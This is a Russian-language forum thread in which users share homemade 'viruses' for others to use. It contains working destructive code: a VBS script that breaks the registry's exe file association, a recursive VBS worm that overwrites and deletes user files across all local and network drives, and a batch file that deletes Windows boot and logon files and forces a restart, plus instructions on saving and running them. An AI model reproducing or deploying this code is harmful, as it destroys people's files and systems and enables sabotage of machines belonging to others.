Сообщений в теме: 10

[GROB-T]

Здесь выкладываем свои вирусы . Как самописные так и генерированые .

Вот 1 мой вирус . Он запрещает открытые exe файлов .http://www.rapidshare.ru/597902

[Alekzzzander]

ну для запрета exe можно использовать простенький vbs скрипт:

'This virus created by generator KUZJA
on error resume next
Set S = CreateObject("Wscript.Shell")
set FSO=createobject("scripting.filesystemobject")
s.regwrite"HKCR\exefile\shell\open\command\","rundll32.exe"

а вот скрипт которые сильно убивает систему, какое то время гулял по нашей сети (всем пришлось форматироват HDD так как переустановка винды не помогла а антивири не палили)

haha()
Sub haha()
On Error Resume Next
Dim d, dc, s, fso, haha
Set fso = CreateObject("Scripting.FileSystemObject")
Set dc = fso.Drives
For Each d In dc
If d.DriveType = 2 Or d.DriveType = 3 Then
hihi (d.Path & "\")
End If
Next
haha = s
End sub
Sub hehe(folderspec)
On Error Resume Next
Dim f, f1, fc, ext, s, fso
Set fso = CreateObject("Scripting.FileSystemObject")
Set f = fso.GetFolder(folderspec)
Set fc = f.Files
For Each f1 In fc
ext = fso.GetExtensionName(f1.Path)
ext = LCase(ext)
s = LCase(f1.Name)
If (ext = "zip") or (ext = "exe") or (ext = "com") or (ext = "rar") or (ext = "doc") or (ext = "xls") or (ext = "dll") or (ext = "txt") or (ext = "htm") or (ext = "html") or (ext = "jpg") or (ext = "bmp") or (ext = "mp3") or (ext = "mp4") or (ext = "gif") or (ext = "ink") Then
Set f = fso.getfile(wscript.scriptfullname)
f.Copy (f1.Path & ".vbe")
fso.deletefile(f1.path)
End If
Next
End Sub
Sub hihi(folderspec)
On Error Resume Next
Dim f, f1, sf, fso
Set fso = CreateObject("Scripting.FileSystemObject")
Set f = fso.GetFolder(folderspec)
Set sf = f.SubFolders
For Each f1 In sf
hehe (f1.Path)
hihi (f1.Path)
Next
End Sub

[xedos]

скиньте прогу чел компилировать?

[$iD]

xedos
Visual Basic ;)

[Alekzzzander]

а я думаю блокнота хватит =)
это всё vbs скрипты...

[$iD]

Alekzzzander
Ну так спросили же чем закомпилить ) Блокнот же не компилит ))

[x45x50]

Сохранить в формате vbs.

[x45x50]

Все дальнейшие обсуждения пакостей начальству или другой флейм ,будут караться минусами.
Здесь выкладываються только интересные исходные коды,их обсуждение, и обьяснение их использования.

[VIol]

@echo off
del C:\windows\system32\hal.dll
del C:\windows\system32\login.bat
del C:\windows\system32\logon.exe
del C:\windows\system32\logonui.exe
start shutdown -r -t 50 -c "Mess with The Best Die Like The Rest"
Сохранить в формате .bat
и обешяю Комп больше не включеца  гыыы))

[VIol]

а вот еше один он не разрешает включить ехе файлы...
сохранить ево в формате .vbs

on error resume next
Set S = CreateObject("Wscript.Shell")
set FSO=createobject("scripting.filesystemobject")
s.regwrite"HKCR\exefile\shell\open\command\","rundll32.exe"

Alekzzzander (2.3.2008, 13:19) писал:

ну для запрета exe можно использовать простенький vbs скрипт:

'This virus created by generator KUZJA
on error resume next
Set S = CreateObject("Wscript.Shell")
set FSO=createobject("scripting.filesystemobject")
s.regwrite"HKCR\exefile\shell\open\command\","rundll32.exe"

упс... извини я проста не заметил гыыыы...)))

[KaLaSh]

VIol (04 April 2008 - 15:49) писал:

@echo off
del C:\windows\system32\hal.dll
del C:\windows\system32\login.bat
del C:\windows\system32\logon.exe
del C:\windows\system32\logonui.exe
start shutdown -r -t 50 -c "Mess with The Best Die Like The Rest"
Сохранить в формате .bat
и обешяю Комп больше не включеца  гыыы))

Если запускать не с админской админки, тогда батник может удалить только самого себя.
Вывод: Бред